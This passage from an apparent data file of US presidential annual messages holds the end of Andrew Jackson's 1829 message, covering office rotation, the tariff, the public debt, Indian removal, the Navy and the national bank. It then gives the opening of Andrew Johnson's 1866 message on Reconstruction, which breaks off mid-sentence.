government rather as a\nmeans of promoting individual interests than as an instrument created\nsolely for the service of the people. Corruption in some and in others\na perversion of correct feelings and principles divert government from\nits legitimate ends and make it an engine for the support of the few at\nthe expense of the many. The duties of all public officers are, or at\nleast admit of being made, so plain and simple that men of intelligence\nmay readily qualify themselves for their performance; and I can not but\nbelieve that more is lost by the long continuance of men in office than\nis generally to be gained by their experience. I submit, therefore, to\nyour consideration whether the efficiency of the Government would not\nbe promoted and official industry and integrity better secured by a\ngeneral extension of the law which limits appointments to four years.In a country where offices are created solely for the benefit of the\npeople no one man has any more intrinsic right to official station than\nanother. Offices were not established to give support to particular men\nat the public expense. No individual wrong is, therefore, done by\nremoval, since neither appointment to nor continuance in office is a\nmatter of right. The incumbent became an officer with a view to public\nbenefits, and when these require his removal they are not to be\nsacrificed to private interests. It is the people, and they alone, who\nhave a right to complain when a bad officer is substituted for a good\none. He who is removed has the same means of obtaining a living that\nare enjoyed by the millions who never held office. The proposed\nlimitation would destroy the idea of property now so generally\nconnected with official station, and although individual distress may\nbe some times produced, it would, by promoting that rotation which\nconstitutes a leading principle in the republican creed, give healthful\naction to the system.No very considerable change has occurred during the recess of Congress\nin the condition of either our agriculture, commerce, or manufactures.\nThe operation of the tariff has not proved so injurious to the two\nformer or as beneficial to the latter as was anticipated. Importations\nof foreign goods have not been sensibly diminished, while domestic\ncompetition, under an illusive excitement, has increased the production\nmuch beyond the demand for home consumption. The consequences have been\nlow prices, temporary embarrassment, and partial loss. That such of our\nmanufacturing establishments as are based upon capital and are\nprudently managed will survive the shock and be ultimately profitable\nthere is no good reason to doubt.To regulate its conduct so as to promote equally the prosperity of\nthese three cardinal interests is one of the most difficult tasks of\nGovernment; and it may be regretted that the complicated restrictions\nwhich now embarrass the intercourse of nations could not by common\nconsent be abolished, and commerce allowed to flow in those channels to\nwhich individual enterprise, always its surest guide, might direct it.\nBut we must ever expect selfish legislation in other nations, and are\ntherefore compelled to adapt our own to their regulations in the manner\nbest calculated to avoid serious injury and to harmonize the\nconflicting interests of our agriculture, our commerce, and our\nmanufactures. Under these impressions I invite your attention to the\nexisting tariff, believing that some of its provisions require\nmodification.The general rule to be applied in graduating the duties upon articles\nof foreign growth or manufacture is that which will place our own in\nfair competition with those of other countries; and the inducements to\nadvance even a step beyond this point are controlling in regard to\nthose articles which are of primary necessity in time of war. When we\nreflect upon the difficulty and delicacy of this operation, it is\nimportant that it should never be attempted but with the utmost\ncaution. Frequent legislation in regard to any branch of industry,\naffecting its value, and by which its capital may be transferred to new\nchannels, must always be productive of hazardous speculation and loss.In deliberating, therefore, on these interesting subjects local\nfeelings and prejudices should be merged in the patriotic determination\nto promote the great interests of the whole. All attempts to connect\nthem with the party conflicts of the day are necessarily injurious, and\nshould be discountenanced. Our action upon them should be under the\ncontrol of higher and purer motives. Legislation subjected to such\ninfluences can never be just, and will not long retain the sanction of\na people whose active patriotism is not bounded by sectional limits nor\ninsensible to that spirit of concession and forbearance which gave life\nto our political compact and still sustains it. Discarding all\ncalculations of political ascendancy, the North, the South, the East,\nand the West should unite in diminishing any burthen of which either\nmay justly complain.The agricultural interest of our country is so essentially connected\nwith every other and so superior in importance to them all that it is\nscarcely necessary to invite to it your particular attention. It is\nprincipally as manufactures and commerce tend to increase the value of\nagricultural productions and to extend their application to the wants\nand comforts of society that they deserve the fostering care of\nGovernment.Looking forward to the period, not far distant, when a sinking fund\nwill no longer be required, the duties on those articles of importation\nwhich can not come in competition with our own productions are the\nfirst that should engage the attention of Congress in the modification\nof the tariff. Of these, tea and coffee are the most important. They\nenter largely into the consumption of the country, and have become\narticles of necessity to all classes. A reduction, therefore, of the\nexisting duties will be felt as a common benefit, but like all other\nlegislation connected with commerce, to be efficacious and not\ninjurious it should be gradual and certain.The public prosperity is evinced in the increased revenue arising from\nthe sales of the public lands and in the steady maintenance of that\nproduced by imposts and tonnage, not withstanding the additional duties\nimposed by the act of May 19th, 1828, and the unusual importations in\nthe early part of that year.The balance in the Treasury on January 1st, 1829 was $5,972,435.81. The\nreceipts of the current year are estimated at $24,602,230 and the\nexpenditures for the same time at $26,164,595, leaving a balance in the\nTreasury on January 1st, 1830 of $4,410,070.81.There will have been paid on account of the public debt during the\npresent year the sum of $12,405,005.80, reducing the whole debt of the\nGovernment on January 1st, 1830 to $48,565,406.50, including $7 millions\nof the 5% stock subscribed to the Bank of the United States. The payment\non account of public debt made on July 1st, 1829 was $8,715,462.87. It was\napprehended that the sudden withdrawal of so large a sum from the banks\nin which it was deposited, at a time of unusual pressure in the money\nmarket, might cause much injury to the interests dependent on bank\naccommodations. But this evil was wholly averted by an early\nanticipation of it at the Treasury, aided by the judicious arrangements\nof the officers of the Bank of the United States.This state of the finances exhibits the resources of the nation in an\naspect highly flattering to its industry and auspicious of the ability\nof Government in a very short time to extinguish the public debt. When\nthis shall be done our population will be relieved from a considerable\nportion of its present burthens, and will find not only new motives to\npatriotic affection, but additional means for the display of individual\nenterprise. The fiscal power of the States will also be increased, and\nmay be more extensively exerted in favor of education and other public\nobjects, while ample means will remain in the Federal Government to\npromote the general weal in all the modes permitted to its authority.After the extinction of the public debt it is not probable that any\nadjustment of the tariff upon principles satisfactory to the people of\nthe Union will until a remote period, if ever, leave the Government\nwithout a considerable surplus in the Treasury beyond what may be\nrequired for its current service. As, then, the period approaches when\nthe application of the revenue to the payment of debt will cease, the\ndisposition of the surplus will present a subject for the serious\ndeliberation of Congress; and it may be fortunate for the country that\nit is yet to be decided.Considered in connection with the difficulties which have heretofore\nattended appropriations for purposes of internal improvement, and with\nthose which this experience tells us will certainly arise when ever\npower over such subjects may be exercised by the Central Government, it\nis hoped that it may lead to the adoption of some plan which will\nreconcile the diversified interests of the States and strengthen the\nbonds which unite them. Every member of the Union, in peace and in war,\nwill be benefited by the improvement of inland navigation and the\nconstruction of high ways in the several States. Let us, then, endeavor\nto attain this benefit in a mode which will be satisfactory to all.\nThat hitherto adopted has by many of our fellow citizens been\ndeprecated as an infraction of the Constitution, while by others it has\nbeen viewed as inexpedient. All feel that it has been employed at the\nexpense of harmony in the legislative councils.To avoid these evils it appears to me that the most safe, just, and\nfederal disposition which could be made of the surplus revenue would be\nits apportionment among the several States according to their ratio of\nrepresentation, and should this measure not be found warranted by the\nConstitution that it would be expedient to propose to the States an\namendment authorizing it. I regard an appeal to the source of power in\ncases of real doubt, and where its exercise is deemed indispensable to\nthe general welfare, as among the most sacred of all our obligations.Upon this country more than any other has, in the providence of God,\nbeen cast the special guardianship of the great principle of adherence\nto written constitutions. If it fail here, all hope in regard to it\nwill be extinguished.That this was intended to be a government of limited and specific, and\nnot general, powers must be admitted by all, and it is our duty to\npreserve for it the character intended by its framers. If experience\npoints out the necessity for an enlargement of these powers, let us\napply for it to those for whose benefit it is to be exercised, and not\nunder-mine the whole system by a resort to over-strained constructions.\nThe scheme has worked well. It has exceeded the hopes of those who\ndevised it, and become an object of admiration to the world. We are\nresponsible to our country and to the glorious cause of self-government\nfor the preservation of so great a good.The great mass of legislation relating to our internal affairs was\nintended to be left where the Federal Convention found it--in the State\ngovernments. Nothing is clearer, in my view, than that we are chiefly\nindebted for the success of the Constitution under which we are now\nacting to the watchful and auxiliary operation of the State\nauthorities. This is not the reflection of a day, but belongs to the\nmost deeply rooted convictions of my mind. I can not, therefore, too\nstrongly or too earnestly, for my own sense of its importance, warn you\nagainst all encroachments upon the legitimate sphere of State\nsovereignty. Sustained by its healthful and invigorating influence the\nfederal system can never fall.In the collection of the revenue the long credits authorized on goods\nimported from beyond the Cape of Good Hope are the chief cause of the\nlosses at present sustained. If these were shortened to 6, 9, and 12\nmonths, and ware-houses provided by Government sufficient to receive\nthe goods offered in deposit for security and for debenture, and if the\nright of the United States to a priority of payment out of the estates\nof its insolvent debtors were more effectually secured, this evil would\nin a great measure be obviated. An authority to construct such houses\nis therefore, with the proposed alteration of the credits, recommended\nto your attention.It is worthy of notice that the laws for the collection and security of\nthe revenue arising from imposts were chiefly framed when the rates of\nduties on imported goods presented much less temptation for illicit\ntrade than at present exists. There is reason to believe that these\nlaws are in some respects quite insufficient for the proper security of\nthe revenue and the protection of the interests of those who are\ndisposed to observe them. The injurious and demoralizing tendency of a\nsuccessful system of smuggling is so obvious as not to require comment,\nand can not be too carefully guarded against. I therefore suggest to\nCongress the propriety of adopting efficient measures to prevent this\nevil, avoiding, however, as much as possible, every unnecessary\ninfringement of individual liberty and embarrassment of fair and lawful\nbusiness.On an examination of the records of the Treasury I have been forcibly\nstruck with the large amount of public money which appears to be\noutstanding. Of the sum thus due from individuals to the Government a\nconsiderable portion is undoubtedly desperate, and in many instances\nhas probably been rendered so by remissness in the agents charged with\nits collection. By proper exertions a great part, however, may yet be\nrecovered; and what ever may be the portions respectively belonging to\nthese two classes, it behooves the Government to ascertain the real\nstate of the fact. This can be done only by the prompt adoption of\njudicious measures for the collection of such as may be made available.\nIt is believed that a very large amount has been lost through the\ninadequacy of the means provided for the collection of debts due to the\npublic, and that this inadequacy lies chiefly in the want of legal\nskill habitually and constantly employed in the direction of the agents\nengaged in the service. It must, I think, be admitted that the\nsupervisory power over suits brought by the public, which is now vested\nin an accounting officer of the Treasury, not selected with a view to\nhis legal knowledge, and encumbered as he is with numerous other\nduties, operates unfavorably to the public interest.It is important that this branch of the public service should be\nsubjected to the supervision of such professional skill as will give it\nefficiency. The expense attendant upon such a modification of the\nexecutive department would be justified by the soundest principles of\neconomy. I would recommend, therefore, that the duties now assigned to\nthe agent of the Treasury, so far as they relate to the superintendence\nand management of legal proceedings on the part of the United States,\nbe transferred to the Attorney General, and that this officer be placed\non the same footing in all respects as the heads of the other\nDepartments, receiving like compensation and having such subordinate\nofficers provided for his Department as may be requisite for the\ndischarge of these additional duties. The professional skill of the\nAttorney General, employed in directing the conduct of marshals and\ndistrict attorneys, would hasten the collection of debts now in suit\nand hereafter save much to the Government. It might be further extended\nto the superintendence of all criminal proceedings for offenses against\nthe United States. In making this transfer great care should be taken,\nhowever, that the power necessary to the Treasury Department be not\nimpaired, one of its greatest securities consisting in control over all\naccounts until they are audited or reported for suit.In connection with the foregoing views I would suggest also an inquiry\nwhether the provisions of the act of Congress authorizing the discharge\nof the persons of the debtors to the Government from imprisonment may\nnot, consistently with the public interest, be extended to the release\nof the debt where the conduct of the debtor is wholly exempt from the\nimputation of fraud. Some more liberal policy than that which now\nprevails in reference to this unfortunate class of citizens is\ncertainly due to them, and would prove beneficial to the country. The\ncontinuance of the liability after the means to discharge it have been\nexhausted can only serve to dispirit the debtor; or, where his\nresources are but partial, the want of power in the Government to\ncompromise and release the demand instigates to fraud as the only\nresource for securing a support to his family. He thus sinks into a\nstate of apathy, and becomes a useless drone in society or a vicious\nmember of it, if not a feeling witness of the rigor and inhumanity of\nhis country. All experience proves that oppressive debt is the bane of\nenterprise, and it should be the care of a republic not to exert a\ngrinding power over misfortune and poverty.Since the last session of Congress numerous frauds on the Treasury have\nbeen discovered, which I thought it my duty to bring under the\ncognizance of the United States court for this district by a criminal\nprosecution. It was my opinion and that of able counsel who were\nconsulted that the cases came within the penalties of the act of the\n17th Congress approved March 3d, 1823, providing for punishment of\nfrauds committed on the Government of the United States. Either from\nsome defect in the law or in its administration every effort to bring\nthe accused to trial under its provisions proved ineffectual, and the\nGovernment was driven to the necessity of resorting to the vague and\ninadequate provisions of the common law. It is therefore my duty to\ncall your attention to the laws which have been passed for the\nprotection of the Treasury. If, indeed, there be no provision by which\nthose who may be unworthily intrusted with its guardianship can be\npunished for the most flagrant violation of duty, extending even to the\nmost fraudulent appropriation of the public funds to their own use, it\nis time to remedy so dangerous an omission; or if the law has been\nperverted from its original purposes, and criminals deserving to be\npunished under its provisions have been rescued by legal subtleties, it\nought to be made so plain by amendatory provisions as to baffle the\narts of perversion and accomplish the ends of its original enactment.In one of the most flagrant causes the court decided that the\nprosecution was barred by the statute which limits prosecutions for\nfraud to two years. In this case all the evidences of the fraud, and,\nindeed, all knowledge that a fraud had been committed, were in\npossession of the party accused until after the two years had elapsed.\nSurely the statute ought not to run in favor of any man while he\nretains all the evidences of his crime in his own possession, and least\nof all in favor of a public officer who continues to defraud the\nTreasury and conceal the transaction for the brief term of two years. I\nwould therefore recommend such an alteration of the law as will give\nthe injured party and the Government two years after the disclosure of\nthe fraud or after the accused is out of office to commence their\nprosecution.In connection with this subject I invite the attention of Congress to a\ngeneral and minute inquiry into the condition of the Government, with a\nview to ascertain what offices can be dispensed with, what expenses\nretrenched, and what improvements may be made in the organization of\nits various parts to secure the proper responsibility of public agents\nand promote efficiency and justice in all its operations.The report of the Secretary of War will make you acquainted with the\ncondition of our Army, fortifications, arsenals, and Indian affairs.\nThe proper discipline of the Army, the training and equipment of the\nmilitia, the education bestowed at West Point, and the accumulation of\nthe means of defense applicable to the naval force will tend to prolong\nthe peace we now enjoy, and which every good citizen, more especially\nthose who have felt the miseries of even a successful warfare, must\nardently desire to perpetuate.The returns from the subordinate branches of this service exhibit a\nregularity and order highly creditable to its character. Both officers\nand soldiers seem imbued with a proper sense of duty, and conform to\nthe restraints of exact discipline with that cheerfulness which becomes\nthe profession of arms. There is need, however, of further legislation\nto obviate the inconveniences specified in the report under\nconsideration, to some of which it is proper that I should call your\nparticular attention.The act of Congress of March 2d, 1821, to reduce and fix the military\nestablishment, remaining unexecuted as it regards the command of one of\nthe regiments of artillery, can not now be deemed a guide to the\nExecutive in making the proper appointment. An explanatory act,\ndesignating the class of officers out of which the grade is to be\nfilled--whether from the military list as existing prior to the act of\n1821 or from it as it has been fixed by that act--would remove this\ndifficulty. It is also important that the laws regulating the pay and\nemoluments of officers generally should be more specific than they now\nare. Those, for example, in relation to the Pay Master and Surgeon\nGeneral assign to them an annual salary of $2.500, but are silent as to\nallowances which in certain exigencies of the service may be deemed\nindispensable to the discharge of their duties. This circumstance has\nbeen the authority for extending to them various allowances at\ndifferent times under former Administrations, but no uniform rule has\nbeen observed on the subject. Similar inconveniences exist in other\ncases, in which the construction put upon the laws by the public\naccountants may operate unequally, produce confusion, and expose\nofficers to the odium of claiming what is not their due.I recommend to your fostering care, as one of our safest means of\nnational defense, the Military Academy. This institution has already\nexercised the happiest influence upon the moral and intellectual\ncharacter of our Army; and such of the graduates as from various causes\nmay not pursue the profession of arms will be scarcely less useful as\ncitizens. Their knowledge of the military art will be advantageously\nemployed in the militia service, and in a measure secure to that class\nof troops the advantages which in this respect belong to standing\narmies.I would also suggest a review of the pension law, for the purpose of\nextending its benefits to every Revolutionary soldier who aided in\nestablishing our liberties, and who is unable to maintain himself in\ncomfort. These relics of the War of Independence have strong claims\nupon their country's gratitude and bounty. The law is defective in not\nembracing within its provisions all those who were during the last war\ndisabled from supporting themselves by manual labor. Such an amendment\nwould add but little to the amount of pensions, and is called for by\nthe sympathies of the people as well as by considerations of sound\npolicy.It will be perceived that a large addition to the list of pensioners\nhas been occasioned by an order of the late Administration, departing\nmaterially from the rules which had previously prevailed. Considering\nit an act of legislation, I suspended its operation as soon as I was\ninformed that it had commenced. Before this period, however,\napplications under the new regulation had been preferred to the number\nof 154, of which, on March 27, the date of its revocation, 87 were\nadmitted. For the amount there was neither estimate nor appropriation;\nand besides this deficiency, the regular allowances, according to the\nrules which have heretofore governed the Department, exceed the\nestimate of its late Secretary by about $50,000, for which an\nappropriation is asked.Your particular attention is requested to that part of the report of\nthe Secretary of War which relates to the money held in trust for the\nSeneca tribe of Indians. It will be perceived that without legislative\naid the Executive can not obviate the embarrassments occasioned by the\ndiminution of the dividends on that fund, which originally amounted to\n$100,000, and has recently been invested in United States 3% stock.The condition and ulterior destiny of the Indian tribes within the\nlimits of some of our States have become objects of much interest and\nimportance. It has long been the policy of Government to introduce\namong them the arts of civilization, in the hope of gradually\nreclaiming them from a wandering life. This policy has, however, been\ncoupled with another wholly incompatible with its success. Professing a\ndesire to civilize and settle them, we have at the same time lost no\nopportunity to purchase their lands and thrust them farther into the\nwilderness. By this means they have not only been kept in a wandering\nstate, but been led to look upon us as unjust and indifferent to their\nfate. Thus, though lavish in its expenditures upon the subject,\nGovernment has constantly defeated its own policy, and the Indians in\ngeneral, receding farther and farther to the west, have retained their\nsavage habits. A portion, however, of the Southern tribes, having\nmingled much with the whites and made some progress in the arts of\ncivilized life, have lately attempted to erect an independent\ngovernment within the limits of Georgia and Alabama. These States,\nclaiming to be the only sovereigns within their territories, extended\ntheir laws over the Indians, which induced the latter to call upon the\nUnited States for protection.Under these circumstances the question presented was whether the\nGeneral Government had a right to sustain those people in their\npretensions. The Constitution declares that \"no new State shall be\nformed or erected within the jurisdiction of any other State\" without\nthe consent of its legislature. If the General Government is not\npermitted to tolerate the erection of a confederate State within the\nterritory of one of the members of this Union against her consent, much\nless could it allow a foreign and independent government to establish\nitself there.Georgia became a member of the Confederacy which eventuated in our\nFederal Union as a sovereign State, always asserting her claim to\ncertain limits, which, having been originally defined in her colonial\ncharter and subsequently recognized in the treaty of peace, she has\never since continued to enjoy, except as they have been circumscribed\nby her own voluntary transfer of a portion of her territory to the\nUnited States in the articles of cession of 1802. Alabama was admitted\ninto the Union on the same footing with the original States, with\nboundaries which were prescribed by Congress.There is no constitutional, conventional, or legal provision which\nallows them less power over the Indians within their borders than is\npossessed by Maine or New York. Would the people of Maine permit the\nPenobscot tribe to erect an independent government within their State?\nAnd unless they did would it not be the duty of the General Government\nto support them in resisting such a measure? Would the people of New\nYork permit each remnant of the six Nations within her borders to\ndeclare itself an independent people under the protection of the United\nStates? Could the Indians establish a separate republic on each of\ntheir reservations in Ohio? And if they were so disposed would it be\nthe duty of this Government to protect them in the attempt? If the\nprinciple involved in the obvious answer to these questions be\nabandoned, it will follow that the objects of this Government are\nreversed, and that it has become a part of its duty to aid in\ndestroying the States which it was established to protect.Actuated by this view of the subject, I informed the Indians inhabiting\nparts of Georgia and Alabama that their attempt to establish an\nindependent government would not be countenanced by the Executive of\nthe United States, and advised them to emigrate beyond the Mississippi\nor submit to the laws of those States.Our conduct toward these people is deeply interesting to our national\ncharacter. Their present condition, contrasted with what they once\nwere, makes a most powerful appeal to our sympathies. Our ancestors\nfound them the uncontrolled possessors of these vast regions. By\npersuasion and force they have been made to retire from river to river\nand from mountain to mountain, until some of the tribes have become\nextinct and others have left but remnants to preserve for a while their\nonce terrible names. Surrounded by the whites with their arts of\ncivilization, which by destroying the resources of the savage doom him\nto weakness and decay, the fate of the Mohegan, the Narragansett, and\nthe Delaware is fast over-taking the Choctaw, the Cherokee, and the\nCreek. That this fate surely awaits them if they remain within the\nlimits of the States does not admit of a doubt. Humanity and national\nhonor demand that every effort should be made to avert so great a\ncalamity. It is too late to inquire whether it was just in the United\nStates to include them and their territory within the bounds of new\nStates, whose limits they could control. That step can not be retraced.\nA State can not be dismembered by Congress or restricted in the\nexercise of her constitutional power. But the people of those States\nand of every State, actuated by feelings of justice and a regard for\nour national honor, submit to you the interesting question whether\nsomething can not be done, consistently with the rights of the States,\nto preserve this much-injured race.  As a means of effecting this end I\nsuggest for your consideration the propriety of setting apart an ample\ndistrict west of the Mississippi, and without the limits of any State\nor Territory now formed, to be guaranteed to the Indian tribes as long\nas they shall occupy it, each tribe having a distinct control over the\nportion designated for its use. There they may be secured in the\nenjoyment of governments of their own choice, subject to no other\ncontrol from the United States than such as may be necessary to\npreserve peace on the frontier and between the several tribes. There\nthe benevolent may endeavor to teach them the arts of civilization,\nand, by promoting union and harmony among them, to raise up an\ninteresting commonwealth, destined to perpetuate the race and to attest\nthe humanity and justice of this Government.This emigration should be voluntary, for it would be as cruel as unjust\nto compel the aborigines to abandon the graves of their fathers and\nseek a home in a distant land. But they should be distinctly informed\nthat if they remain within the limits of the States they must be\nsubject to their laws. In return for their obedience as individuals\nthey will without doubt be protected in the enjoyment of those\npossessions which they have improved by their industry. But it seems to\nme visionary to suppose that in this state of things claims can be\nallowed on tracts of country on which they have neither dwelt nor made\nimprovements, merely because they have seen them from the mountain or\npassed them in the chase. Submitting to the laws of the States, and\nreceiving, like other citizens, protection in their persons and\nproperty, they will ere long become merged in the mass of our\npopulation.The accompanying report of the Secretary of the Navy will make you\nacquainted with the condition and useful employment of that branch of\nour service during the present year. Constituting as it does the best\nstanding security of this country against foreign aggression, it claims\nthe especial attention of Government. In this spirit the measures which\nsince the termination of the last war have been in operation for its\ngradual enlargement were adopted, and it should continue to be\ncherished as the off-spring of our national experience. It will be\nseen, however, that not withstanding the great solicitude which has\nbeen manifested for the perfect organization of this arm and the\nliberality of the appropriations which that solicitude has suggested,\nthis object has in many important respects not been secured.In time of peace we have need of no more ships of war than are\nrequisite to the protection of our commerce. Those not wanted for this\nobject must lay in the harbors, where without proper covering they\nrapidly decay, and even under the best precautions for their\npreservation must soon become useless. Such is already the case with\nmany of our finest vessels, which, though unfinished, will now require\nimmense sums of money to be restored to the condition in which they\nwere when committed to their proper element.On this subject there can be but little doubt that our best policy\nwould be to discontinue the building of ships of the first and second\nclass, and look rather to the possession of ample materials, prepared\nfor the emergencies of war, than to the number of vessels which we can\nfloat in a season of peace, as the index of our naval power. Judicious\ndeposits in navy yards of timber and other materials, fashioned under\nthe hands of skillful work-men and fitted for prompt application to\ntheir various purposes, would enable us at all times to construct\nvessels as fast as they can be manned, and save the heavy expense of\nrepairs, except to such vessels as must be employed in guarding our\ncommerce.The proper points for the establishment of these yards are indicated\nwith so much force in the report of the Navy Board that in recommending\nit to your attention I deem it unnecessary to do more than express my\nhearty concurrence in their views. The yard in this District, being\nalready furnished with most of the machinery necessary for ship\nbuilding, will be competent to the supply of the two selected by the\nBoard as the best for the concentration of materials, and, from the\nfacility and certainty of communication between them, it will be\nuseless to incur at those depots the expense of similar machinery,\nespecially that used in preparing the usual metallic and wooden\nfurniture of vessels.Another improvement would be effected by dispensing altogether with the\nNavy Board as now constituted, and substituting in its stead bureaux\nsimilar to those already existing in the War Department. Each member of\nthe Board, transferred to the head of a separate bureau charged with\nspecific duties, would feel in its highest degree that wholesome\nresponsibility which can not be divided without a far more than\nproportionate diminution of its force. Their valuable services would\nbecome still more so when separately appropriated to distinct portions\nof the great interests of the Navy, to the prosperity of which each\nwould be impelled to devote himself by the strongest motives. Under\nsuch an arrangement every branch of this important service would assume\na more simple and precise character, its efficiency would be increased,\nand scrupulous economy in the expenditure of public money promoted.I would also recommend that the Marine Corps be merged in the artillery\nor infantry, as the best mode of curing the many defects in its\norganization. But little exceeding in number any of the regiments of\ninfantry, that corps has, besides its lieutenant-colonel commandant,\nfive brevet lieutenant-colonels, who receive the full pay and\nemoluments of their brevet rank, without rendering proportionate\nservice. Details for marine service could as well be made from the\nartillery or infantry, there being no peculiar training requisite for\nit.With these improvements, and such others as zealous watchfulness and\nmature consideration may suggest, there can be little doubt that under\nan energetic administration of its affairs the Navy may soon be made\nevery thing that the nation wishes it to be. Its efficiency in the\nsuppression of piracy in the West India seas, and wherever its\nsquadrons have been employed in securing the interests of the country,\nwill appear from the report of the Secretary, to which I refer you for\nother interesting details. Among these I would bespeak the attention of\nCongress for the views presented in relation to the inequality between\nthe Army and Navy as to the pay of officers. No such inequality should\nprevail between these brave defenders of their country, and where it\ndoes exist it is submitted to Congress whether it ought not to be\nrectified.The report of the Post Master General is referred to as exhibiting a\nhighly satisfactory administration of that Department. Abuses have been\nreformed, increased expedition in the transportation of the mail\nsecured, and its revenue much improved. In a political point of view\nthis Department is chiefly important as affording the means of\ndiffusing knowledge. It is to the body politic what the veins and\narteries are to the natural--conveying rapidly and regularly to the\nremotest parts of the system correct information of the operations of\nthe Government, and bringing back to it the wishes and feelings of the\npeople. Through its agency we have secured to ourselves the full\nenjoyment of the blessings of a free press.In this general survey of our affairs a subject of high importance\npresents itself in the present organization of the judiciary. An\nuniform operation of the Federal Government in the different States is\ncertainly desirable, and existing as they do in the Union on the basis\nof perfect equality, each State has a right to expect that the benefits\nconferred on the citizens of others should be extended to hers. The\njudicial system of the United States exists in all its efficiency in\nonly fifteen members of the Union; to three others the circuit courts,\nwhich constitute an important part of that system, have been\nimperfectly extended, and to the remaining six altogether denied. The\neffect has been to withhold from the inhabitants of the latter the\nadvantages afforded (by the Supreme Court) to their fellow citizens in\nother States in the whole extent of the criminal and much of the civil\nauthority of the Federal judiciary. That this state of things ought to\nbe remedied, if it can be done consistently with the public welfare, is\nnot to be doubted. Neither is it to be disguised that the organization\nof our judicial system is at once a difficult and delicate task. To\nextend the circuit courts equally throughout the different parts of the\nUnion, and at the same time to avoid such a multiplication of members\nas would encumber the supreme appellate tribunal, is the object\ndesired. Perhaps it might be accomplished by dividing the circuit\njudges into two classes, and providing that the Supreme Court should be\nheld by these classes alternately, the Chief Justice always presiding.If an extension of the circuit court system to those States which do\nnot now enjoy its benefits should be determined upon, it would of\ncourse be necessary to revise the present arrangement of the circuits;\nand even if that system should not be enlarged, such a revision is\nrecommended.A provision for taking the census of the people of the United States\nwill, to insure the completion of that work within a convenient time,\nclaim the early attention of Congress.The great and constant increase of business in the Department of State\nforced itself at an early period upon the attention of the Executive.\nThirteen years ago it was, in Mr. Madison's last message to Congress,\nmade the subject of an earnest recommendation, which has been repeated\nby both of his successors; and my comparatively limited experience has\nsatisfied me of its justness. It has arisen from many causes, not the\nleast of which is the large addition that has been made to the family\nof independent nations and the proportionate extension of our foreign\nrelations. The remedy proposed was the establishment of a home\ndepartment--a measure which does not appear to have met the views of\nCongress on account of its supposed tendency to increase, gradually and\nimperceptibly, the already too strong bias of the federal system toward\nthe exercise of authority not delegated to it. I am not, therefore,\ndisposed to revive the recommendation, but am not the less impressed\nwith the importance of so organizing that Department that its Secretary\nmay devote more of his time to our foreign relations. Clearly satisfied\nthat the public good would be promoted by some suitable provision on\nthe subject, I respectfully invite your attention to it.The charter of the Bank of the United States expires in 1836, and its\nstock holders will most probably apply for a renewal of their\nprivileges. In order to avoid the evils resulting from precipitancy in\na measure involving such important principles and such deep pecuniary\ninterests, I feel that I can not, in justice to the parties interested,\ntoo soon present it to the deliberate consideration of the Legislature\nand the people. Both the constitutionality and the expediency of the\nlaw creating this bank are well questioned by a large portion of our\nfellow citizens, and it must be admitted by all that it has failed in\nthe great end of establishing an uniform and sound currency.Under these circumstances, if such an institution is deemed essential\nto the fiscal operations of the Government, I submit to the wisdom of\nthe Legislature whether a national one, founded upon the credit of the\nGovernment and its revenues, might not be devised which would avoid all\nconstitutional difficulties and at the same time secure all the\nadvantages to the Government and country that were expected to result\nfrom the present bank.I can not close this communication without bringing to your view the\njust claim of the representatives of Commodore Decatur, his officers\nand crew, arising from the recapture of the frigate Philadelphia under\nthe heavy batteries of Tripoli. Although sensible, as a general rule,\nof the impropriety of Executive interference under a Government like\nours, where every individual enjoys the right of directly petitioning\nCongress, yet, viewing this case as one of very peculiar character, I\ndeem it my duty to recommend it to your favorable consideration.\nBesides the justice of this claim, as corresponding to those which have\nbeen since recognized and satisfied, it is the fruit of a deed of\npatriotic and chivalrous daring which infused life and confidence into\nour infant Navy and contributed as much as any exploit in its history\nto elevate our national character. Public gratitude, therefore, stamps\nher seal upon it, and the meed should not be withheld which may here\nafter operate as a stimulus to our gallant tars.I now commend you, fellow citizens, to the guidance of Almighty God,\nwith a full reliance on His merciful providence for the maintenance of\nour free institutions, and with an earnest supplication that what ever\nerrors it may be my lot to commit in discharging the arduous duties\nwhich have devolved on me will find a remedy in the harmony and wisdom\nof your counsels.", 
+    "name": "Andrew Jackson"
+}
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+{
+    "date": "December 3, 1866", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:After a brief interval the Congress of the United States resumes its\nannual legislative labors. An all-wise and merciful Providence has\nabated the pestilence which visited our shores, leaving its calamitous\ntraces upon some portions of our country. Peace, order, tranquillity,\nand civil authority have been formally declared to exist throughout the\nwhole of the United States. In all of the States civil authority has\nsuperseded the coercion of arms, and the people, by their voluntary\naction, are maintaining their governments in full activity and complete\noperation. The enforcement of the laws is no longer \"obstructed in any\nState by combinations too powerful to be suppressed by the ordinary\ncourse of judicial proceedings,\" and the animosities engendered by the\nwar are rapidly yielding to the beneficent influences of our free\ninstitutions and to the kindly effects of unrestricted social and\ncommercial intercourse. An entire restoration of fraternal feeling must\nbe the earnest wish of every patriotic heart; and we will have\naccomplished our grandest national achievement when, forgetting the sad\nevents of the past and remembering only their instructive lessons, we\nresume our onward career as a free, prosperous, and united people.In my message of the 4th of December, 1865, Congress was informed of\nthe measures which had been instituted by the Executive with a view to\nthe gradual restoration of the States in which the insurrection\noccurred to their relations with the General Government. Provisional\ngovernors had been appointed, conventions called, governors elected,\nlegislatures assembled, and Senators and Representatives chosen to the\nCongress of the United States. Courts had been opened for the\nenforcement of laws long in abeyance. The blockade had been removed,\ncustom-houses reestablished, and the internal-revenue laws put in\nforce, in order that the people might contribute to the national\nincome. Postal operations had been renewed, and efforts were being made\nto restore them to their former condition of efficiency. The States\nthemselves had been asked to take Dart in the high function of amending\nthe Constitution, and of thus sanctioning the extinction of African\nslavery as one of the legitimate results of our internecine struggle.Having progressed thus far, the executive department found that it had\naccomplished nearly all that was within the scope of its constitutional\nauthority. One thing, however, yet remained to be done before the work\nof restoration could be completed, and that was the admission to\nCongress of loyal Senators and Representatives from the States whose\npeople had rebelled against the lawful authority of the General\nGovernment. This question devolved upon the respective Houses, which by\nthe Constitution are made the judges of the elections, returns, and\nqualifications of their own members, and its consideration at once\nengaged the attention of Congress.In the meantime the executive department--no other plan having been\nproposed by Congress--continued its efforts to perfect, as far as was\npracticable, the restoration of the proper relations between the\ncitizens of the respective States, the States, and the Federal\nGovernment, extending from time to time, as the public interests seemed\nto require, the judicial, revenue, and postal systems of the country.\nWith the advice and consent of the Senate, the necessary officers were\nappointed and appropriations made by Congress for the payment of their\nsalaries. The proposition to amend the Federal Constitution, so as to\nprevent the existence of slavery within the United States or any place\nsubject to their jurisdiction, was ratified by the requisite number of\nStates, and on the 18th 